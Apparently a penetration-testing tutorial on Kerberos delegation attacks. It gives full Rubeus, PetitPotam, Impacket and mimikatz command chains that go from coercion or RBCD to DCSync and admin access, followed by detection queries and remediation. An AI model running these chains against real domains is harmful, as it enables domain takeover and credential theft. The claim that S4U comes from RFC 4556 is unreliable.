Kerberos delegation attack flow diagram showing TGT capture and S4U2Proxy chain

Kerberos Delegation Attacks: Unconstrained, Constrained, and RBCD

Kerberos delegation attack techniques including unconstrained delegation TGT capture, S4U2Self abuse, and resource-based constrained delegation.

Sep 22, 2026
2 min read

Introduction

Kerberos delegation exists so a service can authenticate to a downstream resource on behalf of a user — a web frontend authenticating to a backend database using the visiting user's identity. The three delegation types (unconstrained, constrained, and resource-based constrained) each model this trust differently, and each introduces a distinct attack surface that doesn't require cracking passwords or exploiting CVEs.

Unconstrained delegation is the oldest and most dangerous variant. A host configured with TrustedForDelegation=True receives a copy of every authenticating user's TGT alongside the normal service ticket. Any account that authenticates to that host — including domain controllers responding to coercion — hands over a TGT the attacker can reuse indefinitely. Constrained delegation restricts which services a host can delegate to, but the S4U2Self extension lets any constrained-delegation host obtain a forwardable TGS for any domain user to itself, regardless of that user's delegation settings. Resource-based constrained delegation (RBCD) flips the trust model: the target resource controls who may delegate to it, and any principal with WRITE access to a computer object's msDS-AllowedToActOnBehalfOfOtherIdentity attribute can configure arbitrary delegation.

BloodHound surfaces all three delegation types through built-in nodes and edges. TrustedForDelegation computers appear via the Unconstrained property; msDS-AllowedToDelegateTo is indexed on computer and user objects; and RBCD edges (AllowedToAct) are generated from msDS-AllowedToActOnBehalfOfOtherIdentity. Before touching any of the techniques below, enumerate delegation with BloodHound or PowerView — coercion into an unconstrained host you don't own is detectable and loud.

Authorization Required

These techniques involve credential theft, coercion of domain controller authentication, and lateral movement. Use only in authorized penetration tests or red team engagements with explicit written scope. Coercion techniques (Printer Bug, PetitPotam) generate domain controller event logs immediately.

Impact

  • Capture domain controller TGT via coercion into unconstrained delegation host → full domain compromise via DCSync
  • Impersonate any domain user to constrained-delegation target services without their credentials
  • Escalate to local admin on any computer where you hold WRITE on msDS-AllowedToActOnBehalfOfOtherIdentity
  • Persist via machine account creation combined with RBCD — survives password resets of compromised accounts
  • Cross-domain attacks when delegation trusts span forest boundaries
  • Silver ticket equivalent lateral movement with S4U2Self when NTLM hash of service account is available

Technical Details

Unconstrained Delegation

When a computer has TrustedForDelegation=True, the KDC embeds a copy of the authenticating user's TGT inside the service ticket (AP_REQ) it issues. The host extracts and caches this TGT in the LSA. Every account that touches the host — users, computer accounts, domain controllers responding to coercion — deposits a usable TGT.

The practical exploit path coerces the domain controller's computer account into authenticating to the unconstrained host. MS-RPRN (Printer Bug) and MS-EFSR (PetitPotam) both trigger domain controller authentication with the DC's machine account, which has replication privileges. Capturing that TGT lets you DCSync without needing DA credentials.

Constrained Delegation and S4U2

Constrained delegation restricts a service account or computer to delegating to a defined list of SPNs stored in msDS-AllowedToDelegateTo. The S4U extensions (RFC 4556) make this work:

  • S4U2Self: The service requests a TGS for any user to itself. The resulting ticket is marked forwardable if the service has constrained delegation configured.
  • S4U2Proxy: The service presents the forwardable TGS from S4U2Self to obtain a TGS for the target SPN as that user.

The chain lets a compromised service account impersonate the domain administrator to any SPN in its msDS-AllowedToDelegateTo list. You only need the service account's NTLM hash — no user interaction required.

Resource-Based Constrained Delegation (RBCD)

RBCD (introduced in Windows Server 2012) moves trust configuration to the target resource. The target's msDS-AllowedToActOnBehalfOfOtherIdentity attribute stores a security descriptor listing which principals may delegate to it. A principal with GenericWrite, GenericAll, WriteProperty, or WriteDacl on the target computer object can populate this attribute.

The attack creates a controlled machine account (default MachineAccountQuota allows domain users to create up to 10), sets the target computer's msDS-AllowedToActOnBehalfOfOtherIdentity to trust that machine account, then executes S4U2Self+S4U2Proxy to obtain a TGS as domain admin to the target's CIFS SPN. The machine account's password is known because you created it.

Enumerate Delegation Configurations

BloodHound Cypher — Unconstrained Delegation Computers
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
PowerView — All Three Delegation Types
# Unconstrained
Get-DomainComputer -Unconstrained | Select-Object name, dnshostname

# Constrained (accounts and computers)
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select-Object name, msds-allowedtodelegateto

# RBCD — who can delegate to target
Get-DomainComputer TARGETHOST | Select-Object -ExpandProperty msds-allowedtoactonbehalfofotheridentity
LDAP Query — Unconstrained via ADSISearcher
([adsisearcher]'(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))').FindAll() | ForEach-Object { $_.Properties.dnshostname }

Coerce DC Authentication to Unconstrained Host (Printer Bug / PetitPotam)

Run Rubeus in monitor mode on the unconstrained host before triggering coercion:

Rubeus — Monitor for Incoming TGTs
Rubeus.exe monitor /interval:5 /nowrap

Trigger Printer Bug from any authenticated context — the DC machine account authenticates to the specified capture host:

SpoolSample — MS-RPRN Coercion
SpoolSample.exe DC01.corp.local UNCONSTRAINED_HOST.corp.local

PetitPotam as an unauthenticated alternative (patched on recent DCs but viable on older environments):

PetitPotam — MS-EFSR Coercion
python3 PetitPotam.py -u '' -p '' UNCONSTRAINED_HOST DC01.corp.local

Rubeus captures the DC machine account TGT in base64. Import and use it:

Rubeus — Import Captured TGT and DCSync
Rubeus.exe ptt /ticket:<base64_ticket>

# Confirm DC$ TGT is in memory
klist

# DCSync with mimikatz
lsadump::dcsync /domain:corp.local /user:krbtgt

S4U2Self + S4U2Proxy — Constrained Delegation Abuse

You need the NTLM hash of a service account or computer with msDS-AllowedToDelegateTo populated. Rubeus handles the full S4U chain:

Rubeus — Full S4U2Proxy Chain
# s4u builds S4U2Self ticket first, then S4U2Proxy to target SPN
Rubeus.exe s4u /user:svc_iis /rc4:aad3b435b51404eeaad3b435b51404ee:NTLMHASH /impersonateuser:Administrator /msdsspn:cifs/webserver.corp.local /ptt

If the msds-allowedtodelegateto SPN is for http/webserver but you want CIFS, you can request an alternate SPN using /altservice — the KDC does not validate the service part of the SPN in the S4U2Proxy response:

Rubeus — S4U2Proxy with Alternate Service
Rubeus.exe s4u /user:svc_iis /rc4:NTLMHASH /impersonateuser:Administrator /msdsspn:http/webserver.corp.local /altservice:cifs /ptt

Verify the ticket and access the target:

Access Target After S4U2Proxy
klist
dir \\webserver.corp.local\c$

RBCD — Write msDS-AllowedToActOnBehalfOfOtherIdentity

First confirm you have a write primitive on the target computer object. BloodHound edge GenericWrite or AllowedToAct will show this. Then create a machine account and configure RBCD:

Create Machine Account via PowerMad
Import-Module Powermad.ps1
New-MachineAccount -MachineAccount ATTACKERPC -Password $(ConvertTo-SecureString 'P@ssw0rd123!' -AsPlainText -Force)

Set the target computer's RBCD attribute to trust the machine account. Get the machine account's SID first:

PowerView — Set RBCD Attribute
Import-Module PowerView.ps1

$AttackerSID = Get-DomainComputer ATTACKERPC | Select-Object -ExpandProperty objectsid

# Build raw security descriptor
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($AttackerSID))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

# Write to target
Get-DomainComputer TARGETHOST | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

Execute S4U2Self + S4U2Proxy using the machine account credentials:

Rubeus — RBCD S4U Chain to Target
# RC4 hash of the machine account password you set
Rubeus.exe hash /password:P@ssw0rd123! /user:ATTACKERPC$ /domain:corp.local

Rubeus.exe s4u /user:ATTACKERPC$ /rc4:MACHINEACCOUNT_HASH /impersonateuser:Administrator /msdsspn:cifs/TARGETHOST.corp.local /ptt

Access the target:

PsExec After RBCD
.\PsExec.exe \\TARGETHOST.corp.local cmd.exe

Cleanup

Remove the RBCD attribute after the engagement:

Remove RBCD Attribute
Get-DomainComputer TARGETHOST | Set-DomainObject -Clear msds-allowedtoactonbehalfofotheridentity

Remove the machine account:

Remove Machine Account
Get-ADComputer ATTACKERPC | Remove-ADObject -Recursive -Confirm:$false

Attack Tools

Rubeus is the primary tool for all S4U operations on Windows.

Rubeus — Monitor for TGTs (Unconstrained)
# Run on the unconstrained delegation host, monitor every 5 seconds
Rubeus.exe monitor /interval:5 /nowrap /filteruser:DC01$
Rubeus — S4U2Proxy (Constrained Delegation)
Rubeus.exe s4u /user:svc_iis$ /rc4:<hash> /impersonateuser:Administrator /msdsspn:cifs/webserver.corp.local /ptt
Rubeus — RBCD Full Chain
# Step 1: Get hash of attacker machine account
Rubeus.exe hash /password:P@ssw0rd123! /user:ATTACKERPC$ /domain:corp.local

# Step 2: S4U chain
Rubeus.exe s4u /user:ATTACKERPC$ /rc4:<hash> /impersonateuser:Administrator /msdsspn:cifs/TARGET.corp.local /ptt
Rubeus — Import Base64 TGT
# After capturing TGT from monitor output
Rubeus.exe ptt /ticket:doIFuj[...]

Impacket's getST handles S4U chains from Linux with a known hash or AES key.

getST — Constrained Delegation
# Full S4U2Self + S4U2Proxy chain
python3 getST.py -spn cifs/webserver.corp.local \
  -impersonate Administrator \
  -dc-ip 10.10.10.1 \
  corp.local/svc_iis -hashes :NTLMHASH
getST — RBCD from Linux
# After setting msDS-AllowedToActOnBehalfOfOtherIdentity via bloodyAD or ldapmodify
python3 getST.py -spn cifs/TARGET.corp.local \
  -impersonate Administrator \
  -dc-ip 10.10.10.1 \
  corp.local/ATTACKERPC$ -hashes :MACHINEACCOUNT_HASH

# Use the ticket
export KRB5CCNAME=Administrator@cifs_TARGET.ccache
python3 psexec.py -k -no-pass corp.local/Administrator@TARGET.corp.local
secretsdump — DCSync After TGT Import
# After unconstrained delegation TGT capture and import
python3 secretsdump.py -k -no-pass \
  -dc-ip 10.10.10.1 corp.local/DC01\$@DC01.corp.local
rbcd.py — Set RBCD from Linux
# Using impacket's rbcd helper (requires WRITE on target computer object)
python3 rbcd.py -f ATTACKERPC -t TARGETHOST \
  -dc-ip 10.10.10.1 corp.local/lowpriv:Password123
PowerView — Enumerate All Delegation
# Unconstrained hosts
Get-DomainComputer -Unconstrained -Properties name,operatingsystem,dnshostname

# Constrained accounts with target SPNs
Get-DomainUser -TrustedToAuth | Select samaccountname,msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select name,msds-allowedtodelegateto

# Check if current user has WRITE on a computer object (RBCD precondition)
$TargetACL = Get-DomainObjectAcl -Identity TARGETHOST -ResolveGUIDs
$TargetACL | Where-Object { $_.ActiveDirectoryRights -match 'Write|GenericAll' }
BloodHound Cypher — Paths Through Delegation
// Unconstrained delegation hosts reachable from owned principals
MATCH p=shortestPath((n {owned:true})-[*1..5]->(c:Computer {unconstraineddelegation:true}))
RETURN p

// RBCD edges — who has AllowedToAct on any computer
MATCH p=(n)-[:AllowedToAct]->(c:Computer) RETURN p

// Constrained delegation abuse paths to DA
MATCH p=shortestPath((n)-[r:AllowedToDelegate*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}))
RETURN p
PowerView — Read RBCD Attribute
# Decode msDS-AllowedToActOnBehalfOfOtherIdentity raw bytes
$RawSD = Get-DomainComputer TARGETHOST -Properties msds-allowedtoactonbehalfofotheridentity |
  Select-Object -ExpandProperty msds-allowedtoactonbehalfofotheridentity
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawSD, 0
$Descriptor.DiscretionaryAcl | ForEach-Object { ConvertFrom-SID $_.SecurityIdentifier }

Detection

Event IDs

Event IDLogTrigger
4769SecurityKerberos service ticket request — filter for TicketOptions: 0x40810010 (forwardable+renewable) from non-interactive logon types
4624SecurityLogon Type 3 from machine accounts to unexpected hosts
4662SecurityObject access on computer objects — write to msDS-AllowedToActOnBehalfOfOtherIdentity (GUID 3f78c3e5-f79a-46bd-a0b8-9d18116ddc79)
4741SecurityNew computer account created — spike in MachineAccountQuota-sourced creations signals RBCD prep
4648SecurityExplicit credential use — S4U2Self impersonation creates Type 3 logons with no password

SIEM Queries

Splunk — Forwardable TGS Requests (S4U Operations)
index=wineventlog EventCode=4769
| eval TicketOptions=mvindex(split(TicketOptions," "),0)
| where TicketOptions="0x40810010" OR TicketOptions="0x40810000"
| where NOT like(ServiceName, "%$")
| stats count by AccountName, ServiceName, ClientAddress
| where count > 5
Splunk — RBCD Attribute Write
index=wineventlog EventCode=4662
ObjectType="bf967a86-0de6-11d0-a285-00aa003049e2"
AttributeName="msDS-AllowedToActOnBehalfOfOtherIdentity"
| table _time, SubjectAccountName, ObjectName, AttributeValue
Splunk — Machine Account Creation Spike
index=wineventlog EventCode=4741
| stats count by SubjectUserName, dc
| where count > 3

Behavioral Indicators

  • Service tickets with forwardable flag requested by computer accounts during off-hours
  • SpoolSample/petitpotam network activity: MS-RPRN traffic from non-print-servers, MS-EFSR named pipe \pipe\lsarpc or \pipe\efsr connections to domain controllers
  • New computer objects created by non-admin users (MachineAccountQuota abuse) followed immediately by modifications to msDS-AllowedToActOnBehalfOfOtherIdentity on an existing computer
  • Rubeus monitor mode creates a persistent Kerberos TGS request stream — anomalous service ticket volume from a single host

Remediation

Unconstrained Delegation:

  • Audit TrustedForDelegation=True computers with Get-DomainComputer -Unconstrained. Every machine on this list is a TGT aggregator.
  • Remove unconstrained delegation from all computers that don't absolutely require it. Domain controllers are excepted.
  • Migrate services to constrained delegation or RBCD.
  • Block MS-RPRN on domain controllers: disable the Print Spooler service (spooler) on all DCs. Verify with Get-Service -ComputerName DC01 -Name spooler.
  • Apply Microsoft's PetitPotam mitigations (KB5005413) and enable EPA on ADCS web enrollment endpoints.

Constrained Delegation:

  • Mark high-value accounts (Domain Admins, EA, service accounts with DA-level access) as Account is sensitive and cannot be delegated (NOTDELEG flag, ADS_UF_NOT_DELEGATED).
  • Add privileged accounts to the Protected Users security group — members cannot be delegated, cannot use RC4, and TGTs expire after 4 hours.
  • Audit msDS-AllowedToDelegateTo for overly broad SPN lists, particularly anything delegating to krbtgt or host/DC.

RBCD:

  • Reduce MachineAccountQuota from the default 10 to 0 at the domain level via ms-DS-MachineAccountQuota on the domain object. Create machine accounts through privileged processes only.
  • Audit msDS-AllowedToActOnBehalfOfOtherIdentity on all computer objects quarterly. Should be empty unless intentionally configured.
  • Review ACLs on computer objects — delegated OU permissions that grant GenericWrite or WriteProperty to non-admin groups enable RBCD attacks.
  • Use tiered administration: Tier 0 accounts should have no ACL exposure to Tier 1/2 computer objects.

General:

  • Deploy Microsoft Defender for Identity (MDI) — it has built-in detections for Printer Bug coercion, S4U anomalies, and RBCD configuration changes.
  • Enable Audit Kerberos Service Ticket Operations and Audit Directory Service Access in your GPO audit policy.
  • Credential Guard prevents LSASS-based TGT extraction on modern Windows, but Rubeus operates via Kerberos API — Credential Guard does not stop Rubeus monitor mode.

References

MITRE ATT&CK Techniques

Tools Documentation

Next Steps

On this page